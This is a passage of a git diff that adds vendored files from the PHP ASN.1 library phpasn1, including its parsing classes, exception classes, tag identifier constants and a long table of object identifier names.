{ + return $this->children[$offset]; + } + + #[\ReturnTypeWillChange] + public function offsetSet($offset, $value) + { + if ($offset === null) { + $offset = count($this->children); + } + + $this->children[$offset] = $value; + } + + #[\ReturnTypeWillChange] + public function offsetUnset($offset) + { + unset($this->children[$offset]); + } + + protected function calculateContentLength() + { + $length = 0; + foreach ($this->children as $component) { + $length += $component->getObjectLength(); + } + + return $length; + } + + protected function getEncodedValue() + { + $result = ''; + foreach ($this->children as $component) { + $result .= $component->getBinary(); + } + + return $result; + } + + public function addChild(ASNObject $child) + { + $this->children[] = $child; + } + + public function addChildren(array $children) + { + foreach ($children as $child) { + $this->addChild($child); + } + } + + public function __toString() + { + $nrOfChildren = $this->getNumberOfChildren(); + $childString = $nrOfChildren == 1 ? 'child' : 'children'; + + return "[{$nrOfChildren} {$childString}]"; + } + + public function getNumberOfChildren() + { + return count($this->children); + } + + /** + * @return \FG\ASN1\ASNObject[] + */ + public function getChildren() + { + return $this->children; + } + + /** + * @return \FG\ASN1\ASNObject + */ + public function getFirstChild() + { + return $this->children[0]; + } + + /** + * @param string $binaryData + * @param int $offsetIndex + * + * @throws Exception\ParserException + * + * @return Construct|static + */ + #[\ReturnTypeWillChange] + public static function fromBinary(&$binaryData, &$offsetIndex = 0) + { + $parsedObject = new static(); + self::parseIdentifier($binaryData[$offsetIndex], $parsedObject->getType(), $offsetIndex++); + $contentLength = self::parseContentLength($binaryData, $offsetIndex); + $startIndex = $offsetIndex; + + $children = []; + $octetsToRead = $contentLength; + while ($octetsToRead > 0) { + $newChild = ASNObject::fromBinary($binaryData, $offsetIndex); + $octetsToRead -= $newChild->getObjectLength(); + $children[] = $newChild; + } + + if ($octetsToRead !== 0) { + throw new ParserException("Sequence length incorrect", $startIndex); + } + + $parsedObject->addChildren($children); + $parsedObject->setContentLength($contentLength); + + return $parsedObject; + } + + #[\ReturnTypeWillChange] + public function count($mode = COUNT_NORMAL) + { + return count($this->children, $mode); + } + + public function getIterator() + { + return new ArrayIterator($this->children); + } +} \ No newline at end of file diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Exception/NotImplementedException.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Exception/NotImplementedException.php new file mode 100644 index 0000000..c9f8e82 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Exception/NotImplementedException.php @@ -0,0 +1,15 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Exception; + +class NotImplementedException extends \Exception +{ +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Exception/ParserException.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Exception/ParserException.php new file mode 100644 index 0000000..4bda4e8 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Exception/ParserException.php @@ -0,0 +1,29 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Exception; + +class ParserException extends \Exception +{ + private $errorMessage; + private $offset; + + public function __construct($errorMessage, $offset) + { + $this->errorMessage = $errorMessage; + $this->offset = $offset; + parent::__construct("ASN.1 Parser Exception at offset {$this->offset}: {$this->errorMessage}"); + } + + public function getOffset() + { + return $this->offset; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/ExplicitlyTaggedObject.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/ExplicitlyTaggedObject.php new file mode 100644 index 0000000..b947a95 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/ExplicitlyTaggedObject.php @@ -0,0 +1,131 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1; + +use FG\ASN1\Exception\ParserException; + +/** + * Class ExplicitlyTaggedObject decorate an inner object with an additional tag that gives information about + * its context specific meaning. + * + * Explanation taken from A Layman's Guide to a Subset of ASN.1, BER, and DER: + * >>> An RSA Laboratories Technical Note + * >>> Burton S. Kaliski Jr. + * >>> Revised November 1, 1993 + * + * [...] + * Explicitly tagged types are derived from other types by adding an outer tag to the underlying type. + * In effect, explicitly tagged types are structured types consisting of one component, the underlying type. + * Explicit tagging is denoted by the ASN.1 keywords [class number] EXPLICIT (see Section 5.2). + * [...] + * + * @see http://luca.ntop.org/Teaching/Appunti/asn1.html + */ +class ExplicitlyTaggedObject extends ASNObject +{ + /** @var \FG\ASN1\ASNObject[] */ + private $decoratedObjects; + private $tag; + + /** + * @param int $tag + * @param \FG\ASN1\ASNObject $objects,... + */ + public function __construct($tag, /* HH_FIXME[4858]: variadic + strict */ ...$objects) + { + $this->tag = $tag; + $this->decoratedObjects = $objects; + } + + protected function calculateContentLength() + { + $length = 0; + foreach ($this->decoratedObjects as $object) { + $length += $object->getObjectLength(); + } + + return $length; + } + + protected function getEncodedValue() + { + $encoded = ''; + foreach ($this->decoratedObjects as $object) { + $encoded .= $object->getBinary(); + } + + return $encoded; + } + + public function getContent() + { + return $this->decoratedObjects; + } + + public function __toString() + { + switch ($length = count($this->decoratedObjects)) { + case 0: + return "Context specific empty object with tag [{$this->tag}]"; + case 1: + $decoratedType = Identifier::getShortName($this->decoratedObjects[0]->getType()); + return "Context specific $decoratedType with tag [{$this->tag}]"; + default: + return "$length context specific objects with tag [{$this->tag}]"; + } + } + + public function getType() + { + return ord($this->getIdentifier()); + } + + public function getIdentifier() + { + $identifier = Identifier::create(Identifier::CLASS_CONTEXT_SPECIFIC, true, $this->tag); + + return is_int($identifier) ? chr($identifier) : $identifier; + } + + public function getTag() + { + return $this->tag; + } + + public static function fromBinary(&$binaryData, &$offsetIndex = 0) + { + $identifier = self::parseBinaryIdentifier($binaryData, $offsetIndex); + $firstIdentifierOctet = ord($identifier); + assert(Identifier::isContextSpecificClass($firstIdentifierOctet), 'identifier octet should indicate context specific class'); + assert(Identifier::isConstructed($firstIdentifierOctet), 'identifier octet should indicate constructed object'); + $tag = Identifier::getTagNumber($identifier); + + $totalContentLength = self::parseContentLength($binaryData, $offsetIndex); + $remainingContentLength = $totalContentLength; + + $offsetIndexOfDecoratedObject = $offsetIndex; + $decoratedObjects = []; + + while ($remainingContentLength > 0) { + $nextObject = ASNObject::fromBinary($binaryData, $offsetIndex); + $remainingContentLength -= $nextObject->getObjectLength(); + $decoratedObjects[] = $nextObject; + } + + if ($remainingContentLength != 0) { + throw new ParserException("Context-Specific explicitly tagged object [$tag] starting at offset $offsetIndexOfDecoratedObject specifies a length of $totalContentLength octets but $remainingContentLength remain after parsing the content", $offsetIndexOfDecoratedObject); + } + + $parsedObject = new self($tag, ...$decoratedObjects); + $parsedObject->setContentLength($totalContentLength); + return $parsedObject; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Identifier.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Identifier.php new file mode 100644 index 0000000..b21caa3 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Identifier.php @@ -0,0 +1,339 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1; + +use Exception; + +/** + * The Identifier encodes the ASN.1 tag (class and number) of the type of a data value. + * + * Every identifier whose number is in the range 0 to 30 has the following structure: + * + * Bits: 8 7 6 5 4 3 2 1 + * | Class | P/C | Tag number | + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * + * Bits 8 and 7 define the class of this type ( Universal, Application, Context-specific or Private). + * Bit 6 encoded whether this type is primitive or constructed + * The remaining bits 5 - 1 encode the tag number + */ +class Identifier +{ + const CLASS_UNIVERSAL = 0x00; + const CLASS_APPLICATION = 0x01; + const CLASS_CONTEXT_SPECIFIC = 0x02; + const CLASS_PRIVATE = 0x03; + + const EOC = 0x00; // unsupported for now + const BOOLEAN = 0x01; + const INTEGER = 0x02; + const BITSTRING = 0x03; + const OCTETSTRING = 0x04; + const NULL = 0x05; + const OBJECT_IDENTIFIER = 0x06; + const OBJECT_DESCRIPTOR = 0x07; + const EXTERNAL = 0x08; // unsupported for now + const REAL = 0x09; // unsupported for now + const ENUMERATED = 0x0A; + const EMBEDDED_PDV = 0x0B; // unsupported for now + const UTF8_STRING = 0x0C; + const RELATIVE_OID = 0x0D; + // value 0x0E and 0x0F are reserved for future use + + const SEQUENCE = 0x30; + const SET = 0x31; + const NUMERIC_STRING = 0x12; + const PRINTABLE_STRING = 0x13; + const T61_STRING = 0x14; // sometimes referred to as TeletextString + const VIDEOTEXT_STRING = 0x15; + const IA5_STRING = 0x16; + const UTC_TIME = 0x17; + const GENERALIZED_TIME = 0x18; + const GRAPHIC_STRING = 0x19; + const VISIBLE_STRING = 0x1A; + const GENERAL_STRING = 0x1B; + const UNIVERSAL_STRING = 0x1C; + const CHARACTER_STRING = 0x1D; // Unrestricted character type + const BMP_STRING = 0x1E; + + const LONG_FORM = 0x1F; + const IS_CONSTRUCTED = 0x20; + + /** + * Creates an identifier. Short form identifiers are returned as integers + * for BC, long form identifiers will be returned as a string of octets. + * + * @param int $class + * @param bool $isConstructed + * @param int $tagNumber + * + * @throws Exception if the given arguments are invalid + * + * @return int|string + */ + public static function create($class, $isConstructed, $tagNumber) + { + if (!is_numeric($class) || $class < self::CLASS_UNIVERSAL || $class > self::CLASS_PRIVATE) { + throw new Exception(sprintf('Invalid class %d given', $class)); + } + + if (!is_bool($isConstructed)) { + throw new Exception("\$isConstructed must be a boolean value ($isConstructed given)"); + } + + $tagNumber = self::makeNumeric($tagNumber); + if ($tagNumber < 0) { + throw new Exception(sprintf('Invalid $tagNumber %d given. You can only use positive integers.', $tagNumber)); + } + + if ($tagNumber < self::LONG_FORM) { + return ($class << 6) | ($isConstructed << 5) | $tagNumber; + } + + $firstOctet = ($class << 6) | ($isConstructed << 5) | self::LONG_FORM; + + // Tag numbers formatted in long form are base-128 encoded. See X.609#8.1.2.4 + return chr($firstOctet).Base128::encode($tagNumber); + } + + public static function isConstructed($identifierOctet) + { + return ($identifierOctet & self::IS_CONSTRUCTED) === self::IS_CONSTRUCTED; + } + + public static function isLongForm($identifierOctet) + { + return ($identifierOctet & self::LONG_FORM) === self::LONG_FORM; + } + + /** + * Return the name of the mapped ASN.1 type with a preceding "ASN.1 ". + * + * Example: ASN.1 Octet String + * + * @see Identifier::getShortName() + * + * @param int|string $identifier + * + * @return string + */ + public static function getName($identifier) + { + $identifierOctet = self::makeNumeric($identifier); + + $typeName = static::getShortName($identifier); + + if (($identifierOctet & self::LONG_FORM) < self::LONG_FORM) { + $typeName = "ASN.1 {$typeName}"; + } + + return $typeName; + } + + /** + * Return the short version of the type name. + * + * If the given identifier octet can be mapped to a known universal type this will + * return its name. Else Identifier::getClassDescription() is used to retrieve + * information about the identifier. + * + * @see Identifier::getName() + * @see Identifier::getClassDescription() + * + * @param int|string $identifier + * + * @return string + */ + public static function getShortName($identifier) + { + $identifierOctet = self::makeNumeric($identifier); + + switch ($identifierOctet) { + case self::EOC: + return 'End-of-contents octet'; + case self::BOOLEAN: + return 'Boolean'; + case self::INTEGER: + return 'Integer'; + case self::BITSTRING: + return 'Bit String'; + case self::OCTETSTRING: + return 'Octet String'; + case self::NULL: + return 'NULL'; + case self::OBJECT_IDENTIFIER: + return 'Object Identifier'; + case self::OBJECT_DESCRIPTOR: + return 'Object Descriptor'; + case self::EXTERNAL: + return 'External Type'; + case self::REAL: + return 'Real'; + case self::ENUMERATED: + return 'Enumerated'; + case self::EMBEDDED_PDV: + return 'Embedded PDV'; + case self::UTF8_STRING: + return 'UTF8 String'; + case self::RELATIVE_OID: + return 'Relative OID'; + case self::SEQUENCE: + return 'Sequence'; + case self::SET: + return 'Set'; + case self::NUMERIC_STRING: + return 'Numeric String'; + case self::PRINTABLE_STRING: + return 'Printable String'; + case self::T61_STRING: + return 'T61 String'; + case self::VIDEOTEXT_STRING: + return 'Videotext String'; + case self::IA5_STRING: + return 'IA5 String'; + case self::UTC_TIME: + return 'UTC Time'; + case self::GENERALIZED_TIME: + return 'Generalized Time'; + case self::GRAPHIC_STRING: + return 'Graphic String'; + case self::VISIBLE_STRING: + return 'Visible String'; + case self::GENERAL_STRING: + return 'General String'; + case self::UNIVERSAL_STRING: + return 'Universal String'; + case self::CHARACTER_STRING: + return 'Character String'; + case self::BMP_STRING: + return 'BMP String'; + + case 0x0E: + return 'RESERVED (0x0E)'; + case 0x0F: + return 'RESERVED (0x0F)'; + + case self::LONG_FORM: + default: + $classDescription = self::getClassDescription($identifier); + + if (is_int($identifier)) { + $identifier = chr($identifier); + } + + return "$classDescription (0x".strtoupper(bin2hex($identifier)).')'; + } + } + + /** + * Returns a textual description of the information encoded in a given identifier octet. + * + * The first three (most significant) bytes are evaluated to determine if this is a + * constructed or primitive type and if it is either universal, application, context-specific or + * private. + * + * Example: + * Constructed context-specific + * Primitive universal + * + * @param int|string $identifier + * + * @return string + */ + public static function getClassDescription($identifier) + { + $identifierOctet = self::makeNumeric($identifier); + + if (self::isConstructed($identifierOctet)) { + $classDescription = 'Constructed '; + } else { + $classDescription = 'Primitive '; + } + $classBits = $identifierOctet >> 6; + switch ($classBits) { + case self::CLASS_UNIVERSAL: + $classDescription .= 'universal'; + break; + case self::CLASS_APPLICATION: + $classDescription .= 'application'; + break; + case self::CLASS_CONTEXT_SPECIFIC: + $tagNumber = self::getTagNumber($identifier); + $classDescription = "[$tagNumber] Context-specific"; + break; + case self::CLASS_PRIVATE: + $classDescription .= 'private'; + break; + + default: + return "INVALID IDENTIFIER OCTET: {$identifierOctet}"; + } + + return $classDescription; + } + + /** + * @param int|string $identifier + * + * @return int + */ + public static function getTagNumber($identifier) + { + $firstOctet = self::makeNumeric($identifier); + $tagNumber = $firstOctet & self::LONG_FORM; + + if ($tagNumber < self::LONG_FORM) { + return $tagNumber; + } + + if (is_numeric($identifier)) { + $identifier = chr($identifier); + } + return Base128::decode(substr($identifier, 1)); + } + + public static function isUniversalClass($identifier) + { + $identifier = self::makeNumeric($identifier); + + return $identifier >> 6 == self::CLASS_UNIVERSAL; + } + + public static function isApplicationClass($identifier) + { + $identifier = self::makeNumeric($identifier); + + return $identifier >> 6 == self::CLASS_APPLICATION; + } + + public static function isContextSpecificClass($identifier) + { + $identifier = self::makeNumeric($identifier); + + return $identifier >> 6 == self::CLASS_CONTEXT_SPECIFIC; + } + + public static function isPrivateClass($identifier) + { + $identifier = self::makeNumeric($identifier); + + return $identifier >> 6 == self::CLASS_PRIVATE; + } + + private static function makeNumeric($identifierOctet) + { + if (!is_numeric($identifierOctet)) { + return ord($identifierOctet); + } else { + return $identifierOctet; + } + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/OID.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/OID.php new file mode 100644 index 0000000..bfaeae1 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/OID.php @@ -0,0 +1,1023 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1; + +class OID +{ + const RSA_ENCRYPTION = '1.2.840.113549.1.1.1'; + const MD5_WITH_RSA_ENCRYPTION = '1.2.840.113549.1.1.4'; + const SHA1_WITH_RSA_SIGNATURE = '1.2.840.113549.1.1.5'; + const SHA256_WITH_RSA_SIGNATURE = '1.2.840.113549.1.1.11'; + const PKCS9_EMAIL = '1.2.840.113549.1.9.1'; + const PKCS9_UNSTRUCTURED_NAME = '1.2.840.113549.1.9.2'; + const PKCS9_CONTENT_TYPE = '1.2.840.113549.1.9.3'; + const PKCS9_MESSAGE_DIGEST = '1.2.840.113549.1.9.4'; + const PKCS9_SIGNING_TIME = '1.2.840.113549.1.9.5'; + const PKCS9_EXTENSION_REQUEST = '1.2.840.113549.1.9.14'; + + // certificate extension identifier + const CERT_EXT_SUBJECT_DIRECTORY_ATTR = '2.5.29.9'; + const CERT_EXT_SUBJECT_KEY_IDENTIFIER = '2.5.29.14'; + const CERT_EXT_KEY_USAGE = '2.5.29.15'; + const CERT_EXT_PRIVATE_KEY_USAGE_PERIOD = '2.5.29.16'; + const CERT_EXT_SUBJECT_ALT_NAME = '2.5.29.17'; + const CERT_EXT_ISSUER_ALT_NAME = '2.5.29.18'; + const CERT_EXT_BASIC_CONSTRAINTS = '2.5.29.19'; + const CERT_EXT_CRL_NUMBER = '2.5.29.20'; + const CERT_EXT_REASON_CODE = '2.5.29.21'; + const CERT_EXT_INVALIDITY_DATE = '2.5.29.24'; + const CERT_EXT_DELTA_CRL_INDICATOR = '2.5.29.27'; + const CERT_EXT_ISSUING_DIST_POINT = '2.5.29.28'; + const CERT_EXT_CERT_ISSUER = '2.5.29.29'; + const CERT_EXT_NAME_CONSTRAINTS = '2.5.29.30'; + const CERT_EXT_CRL_DISTRIBUTION_POINTS = '2.5.29.31'; + const CERT_EXT_CERT_POLICIES = '2.5.29.32'; + const CERT_EXT_AUTHORITY_KEY_IDENTIFIER = '2.5.29.35'; + const CERT_EXT_EXTENDED_KEY_USAGE = '2.5.29.37'; + + // standard certificate files + const COMMON_NAME = '2.5.4.3'; + const SURNAME = '2.5.4.4'; + const SERIAL_NUMBER = '2.5.4.5'; + const COUNTRY_NAME = '2.5.4.6'; + const LOCALITY_NAME = '2.5.4.7'; + const STATE_OR_PROVINCE_NAME = '2.5.4.8'; + const STREET_ADDRESS = '2.5.4.9'; + const ORGANIZATION_NAME = '2.5.4.10'; + const OU_NAME = '2.5.4.11'; + const TITLE = '2.5.4.12'; + const DESCRIPTION = '2.5.4.13'; + const POSTAL_ADDRESS = '2.5.4.16'; + const POSTAL_CODE = '2.5.4.17'; + const AUTHORITY_REVOCATION_LIST = '2.5.4.38'; + + const AUTHORITY_INFORMATION_ACCESS = '1.3.6.1.5.5.7.1.1'; + + /** + * Returns the name of the given object identifier. + * + * Some OIDs are saved as class constants in this class. + * If the wanted oidString is not among them, this method will + * query http://oid-info.com for the right name. + * This behavior can be suppressed by setting the second method parameter to false. + * + * @param string $oidString + * @param bool $loadFromWeb + * + * @see self::loadFromWeb($oidString) + * + * @return string + */ + public static function getName($oidString, $loadFromWeb = true) + { + $oids = [ + '1.2' => 'ISO Member Body', + '1.3' => 'org', + '1.3.6.1.5.5.8.1.1' => 'hmac-md5', + '1.3.6.1.5.5.8.1.2' => 'hmac-sha1', + '1.3.132' => 'certicom-arc', + '2.23' => 'International Organizations', + '2.23.43' => 'wap', + '2.23.43.1' => 'wap-wsg', + '2.5.1.5' => 'Selected Attribute Types', + '2.5.1.5.55' => 'clearance', + '1.2.840' => 'ISO US Member Body', + '1.2.840.10040' => 'X9.57', + '1.2.840.10040.4' => 'X9.57 CM ?', + '1.2.840.10040.4.1' => 'dsaEncryption', + '1.2.840.10040.4.3' => 'dsaWithSHA1', + '1.2.840.10045' => 'ANSI X9.62', + '1.2.840.10045.1' => 'X9-62_id-fieldType', + '1.2.840.10045.1.1' => 'X9-62_prime-field', + '1.2.840.10045.1.2' => 'X9-62_characteristic-two-field', + '1.2.840.10045.1.2.3' => 'X9-62_id-characteristic-two-basis', + '1.2.840.10045.1.2.3.1' => 'X9-62_onBasis', + '1.2.840.10045.1.2.3.2' => 'X9-62_tpBasis', + '1.2.840.10045.1.2.3.3' => 'X9-62_ppBasis', + '1.2.840.10045.2' => 'X9-62_id-publicKeyType', + '1.2.840.10045.2.1' => 'X9-62_id-ecPublicKey', + '1.2.840.10045.3' => 'X9-62_ellipticCurve', + '1.2.840.10045.3.0' => 'X9-62_c-TwoCurve', + '1.2.840.10045.3.0.1' => 'X9-62_c2pnb163v1', + '1.2.840.10045.3.0.2' => 'X9-62_c2pnb163v2', + '1.2.840.10045.3.0.3' => 'X9-62_c2pnb163v3', + '1.2.840.10045.3.0.4' => 'X9-62_c2pnb176v1', + '1.2.840.10045.3.0.5' => 'X9-62_c2tnb191v1', + '1.2.840.10045.3.0.6' => 'X9-62_c2tnb191v2', + '1.2.840.10045.3.0.7' => 'X9-62_c2tnb191v3', + '1.2.840.10045.3.0.8' => 'X9-62_c2onb191v4', + '1.2.840.10045.3.0.9' => 'X9-62_c2onb191v5', + '1.2.840.10045.3.0.10' => 'X9-62_c2pnb208w1', + '1.2.840.10045.3.0.11' => 'X9-62_c2tnb239v1', + '1.2.840.10045.3.0.12' => 'X9-62_c2tnb239v2', + '1.2.840.10045.3.0.13' => 'X9-62_c2tnb239v3', + '1.2.840.10045.3.0.14' => 'X9-62_c2onb239v4', + '1.2.840.10045.3.0.15' => 'X9-62_c2onb239v5', + '1.2.840.10045.3.0.16' => 'X9-62_c2pnb272w1', + '1.2.840.10045.3.0.17' => 'X9-62_c2pnb304w1', + '1.2.840.10045.3.0.18' => 'X9-62_c2tnb359v1', + '1.2.840.10045.3.0.19' => 'X9-62_c2pnb368w1', + '1.2.840.10045.3.0.20' => 'X9-62_c2tnb431r1', + '1.2.840.10045.3.1' => 'X9-62_primeCurve', + '1.2.840.10045.3.1.1' => 'X9-62_prime192v1', + '1.2.840.10045.3.1.2' => 'X9-62_prime192v2', + '1.2.840.10045.3.1.3' => 'X9-62_prime192v3', + '1.2.840.10045.3.1.4' => 'X9-62_prime239v1', + '1.2.840.10045.3.1.5' => 'X9-62_prime239v2', + '1.2.840.10045.3.1.6' => 'X9-62_prime239v3', + '1.2.840.10045.3.1.7' => 'X9-62_prime256v1', + '1.2.840.10045.4' => 'X9-62_id-ecSigType', + '1.2.840.10045.4.1' => 'ecdsa-with-SHA1', + '1.2.840.10045.4.2' => 'ecdsa-with-Recommended', + '1.2.840.10045.4.3' => 'ecdsa-with-Specified', + '1.2.840.10045.4.3.1' => 'ecdsa-with-SHA224', + '1.2.840.10045.4.3.2' => 'ecdsa-with-SHA256', + '1.2.840.10045.4.3.3' => 'ecdsa-with-SHA384', + '1.2.840.10045.4.3.4' => 'ecdsa-with-SHA512', + '1.3.132.0' => 'secg_ellipticCurve', + '2.23.43.1.4' => 'wap-wsg-idm-ecid', + '2.23.43.1.4.1' => 'wap-wsg-idm-ecid-wtls1', + '2.23.43.1.4.3' => 'wap-wsg-idm-ecid-wtls3', + '2.23.43.1.4.4' => 'wap-wsg-idm-ecid-wtls4', + '2.23.43.1.4.5' => 'wap-wsg-idm-ecid-wtls5', + '2.23.43.1.4.6' => 'wap-wsg-idm-ecid-wtls6', + '2.23.43.1.4.7' => 'wap-wsg-idm-ecid-wtls7', + '2.23.43.1.4.8' => 'wap-wsg-idm-ecid-wtls8', + '2.23.43.1.4.9' => 'wap-wsg-idm-ecid-wtls9', + '2.23.43.1.4.10' => 'wap-wsg-idm-ecid-wtls10', + '2.23.43.1.4.11' => 'wap-wsg-idm-ecid-wtls11', + '2.23.43.1.4.12' => 'wap-wsg-idm-ecid-wtls12', + '1.2.840.113533.7.66.10' => 'cast5-cbc', + '1.2.840.113533.7.66.12' => 'pbeWithMD5AndCast5CBC', + '1.2.840.113533.7.66.13' => 'password based MAC', + '1.2.840.113533.7.66.30' => 'Diffie-Hellman based MAC', + '1.2.840.113549' => 'RSA Data Security, Inc.', + '1.2.840.113549.1' => 'RSA Data Security, Inc. PKCS', + '1.2.840.113549.1.1' => 'pkcs1', + '1.2.840.113549.1.1.1' => 'rsaEncryption', + '1.2.840.113549.1.1.2' => 'md2WithRSAEncryption', + '1.2.840.113549.1.1.3' => 'md4WithRSAEncryption', + '1.2.840.113549.1.1.4' => 'md5WithRSAEncryption', + '1.2.840.113549.1.1.5' => 'sha1WithRSAEncryption', + '1.2.840.113549.1.1.7' => 'rsaesOaep', + '1.2.840.113549.1.1.8' => 'mgf1', + '1.2.840.113549.1.1.9' => 'pSpecified', + '1.2.840.113549.1.1.10' => 'rsassaPss', + '1.2.840.113549.1.1.11' => 'sha256WithRSAEncryption', + '1.2.840.113549.1.1.12' => 'sha384WithRSAEncryption', + '1.2.840.113549.1.1.13' => 'sha512WithRSAEncryption', + '1.2.840.113549.1.1.14' => 'sha224WithRSAEncryption', + '1.2.840.113549.1.3' => 'pkcs3', + '1.2.840.113549.1.3.1' => 'dhKeyAgreement', + '1.2.840.113549.1.5' => 'pkcs5', + '1.2.840.113549.1.5.1' => 'pbeWithMD2AndDES-CBC', + '1.2.840.113549.1.5.3' => 'pbeWithMD5AndDES-CBC', + '1.2.840.113549.1.5.4' => 'pbeWithMD2AndRC2-CBC', + '1.2.840.113549.1.5.6' => 'pbeWithMD5AndRC2-CBC', + '1.2.840.113549.1.5.10' => 'pbeWithSHA1AndDES-CBC', + '1.2.840.113549.1.5.11' => 'pbeWithSHA1AndRC2-CBC', + '1.2.840.113549.1.5.12' => 'PBKDF2', + '1.2.840.113549.1.5.13' => 'PBES2', + '1.2.840.113549.1.5.14' => 'PBMAC1', + '1.2.840.113549.1.7' => 'pkcs7', + '1.2.840.113549.1.7.1' => 'pkcs7-data', + '1.2.840.113549.1.7.2' => 'pkcs7-signedData', + '1.2.840.113549.1.7.3' => 'pkcs7-envelopedData', + '1.2.840.113549.1.7.4' => 'pkcs7-signedAndEnvelopedData', + '1.2.840.113549.1.7.5' => 'pkcs7-digestData', + '1.2.840.113549.1.7.6' => 'pkcs7-encryptedData', + '1.2.840.113549.1.9' => 'pkcs9', + '1.2.840.113549.1.9.1' => 'emailAddress', + '1.2.840.113549.1.9.2' => 'unstructuredName', + '1.2.840.113549.1.9.3' => 'contentType', + '1.2.840.113549.1.9.4' => 'messageDigest', + '1.2.840.113549.1.9.5' => 'signingTime', + '1.2.840.113549.1.9.6' => 'countersignature', + '1.2.840.113549.1.9.7' => 'challengePassword', + '1.2.840.113549.1.9.8' => 'unstructuredAddress', + '1.2.840.113549.1.9.9' => 'extendedCertificateAttributes', + '1.2.840.113549.1.9.14' => 'Extension Request', + '1.2.840.113549.1.9.15' => 'S/MIME Capabilities', + '1.2.840.113549.1.9.16' => 'S/MIME', + '1.2.840.113549.1.9.16.0' => 'id-smime-mod', + '1.2.840.113549.1.9.16.1' => 'id-smime-ct', + '1.2.840.113549.1.9.16.2' => 'id-smime-aa', + '1.2.840.113549.1.9.16.3' => 'id-smime-alg', + '1.2.840.113549.1.9.16.4' => 'id-smime-cd', + '1.2.840.113549.1.9.16.5' => 'id-smime-spq', + '1.2.840.113549.1.9.16.6' => 'id-smime-cti', + '1.2.840.113549.1.9.16.0.1' => 'id-smime-mod-cms', + '1.2.840.113549.1.9.16.0.2' => 'id-smime-mod-ess', + '1.2.840.113549.1.9.16.0.3' => 'id-smime-mod-oid', + '1.2.840.113549.1.9.16.0.4' => 'id-smime-mod-msg-v3', + '1.2.840.113549.1.9.16.0.5' => 'id-smime-mod-ets-eSignature-88', + '1.2.840.113549.1.9.16.0.6' => 'id-smime-mod-ets-eSignature-97', + '1.2.840.113549.1.9.16.0.7' => 'id-smime-mod-ets-eSigPolicy-88', + '1.2.840.113549.1.9.16.0.8' => 'id-smime-mod-ets-eSigPolicy-97', + '1.2.840.113549.1.9.16.1.1' => 'id-smime-ct-receipt', + '1.2.840.113549.1.9.16.1.2' => 'id-smime-ct-authData', + '1.2.840.113549.1.9.16.1.3' => 'id-smime-ct-publishCert', + '1.2.840.113549.1.9.16.1.4' => 'id-smime-ct-TSTInfo', + '1.2.840.113549.1.9.16.1.5' => 'id-smime-ct-TDTInfo', + '1.2.840.113549.1.9.16.1.6' => 'id-smime-ct-contentInfo', + '1.2.840.113549.1.9.16.1.7' => 'id-smime-ct-DVCSRequestData', + '1.2.840.113549.1.9.16.1.8' => 'id-smime-ct-DVCSResponseData', + '1.2.840.113549.1.9.16.1.9' => 'id-smime-ct-compressedData', + '1.2.840.113549.1.9.16.1.27' => 'id-ct-asciiTextWithCRLF', + '1.2.840.113549.1.9.16.2.1' => 'id-smime-aa-receiptRequest', + '1.2.840.113549.1.9.16.2.2' => 'id-smime-aa-securityLabel', + '1.2.840.113549.1.9.16.2.3' => 'id-smime-aa-mlExpandHistory', + '1.2.840.113549.1.9.16.2.4' => 'id-smime-aa-contentHint', + '1.2.840.113549.1.9.16.2.5' => 'id-smime-aa-msgSigDigest', + '1.2.840.113549.1.9.16.2.6' => 'id-smime-aa-encapContentType', + '1.2.840.113549.1.9.16.2.7' => 'id-smime-aa-contentIdentifier', + '1.2.840.113549.1.9.16.2.8' => 'id-smime-aa-macValue', + '1.2.840.113549.1.9.16.2.9' => 'id-smime-aa-equivalentLabels', + '1.2.840.113549.1.9.16.2.10' => 'id-smime-aa-contentReference', + '1.2.840.113549.1.9.16.2.11' => 'id-smime-aa-encrypKeyPref', + '1.2.840.113549.1.9.16.2.12' => 'id-smime-aa-signingCertificate', + '1.2.840.113549.1.9.16.2.13' => 'id-smime-aa-smimeEncryptCerts', + '1.2.840.113549.1.9.16.2.14' => 'id-smime-aa-timeStampToken', + '1.2.840.113549.1.9.16.2.15' => 'id-smime-aa-ets-sigPolicyId', + '1.2.840.113549.1.9.16.2.16' => 'id-smime-aa-ets-commitmentType', + '1.2.840.113549.1.9.16.2.17' => 'id-smime-aa-ets-signerLocation', + '1.2.840.113549.1.9.16.2.18' => 'id-smime-aa-ets-signerAttr', + '1.2.840.113549.1.9.16.2.19' => 'id-smime-aa-ets-otherSigCert', + '1.2.840.113549.1.9.16.2.20' => 'id-smime-aa-ets-contentTimestamp', + '1.2.840.113549.1.9.16.2.21' => 'id-smime-aa-ets-CertificateRefs', + '1.2.840.113549.1.9.16.2.22' => 'id-smime-aa-ets-RevocationRefs', + '1.2.840.113549.1.9.16.2.23' => 'id-smime-aa-ets-certValues', + '1.2.840.113549.1.9.16.2.24' => 'id-smime-aa-ets-revocationValues', + '1.2.840.113549.1.9.16.2.25' => 'id-smime-aa-ets-escTimeStamp', + '1.2.840.113549.1.9.16.2.26' => 'id-smime-aa-ets-certCRLTimestamp', + '1.2.840.113549.1.9.16.2.27' => 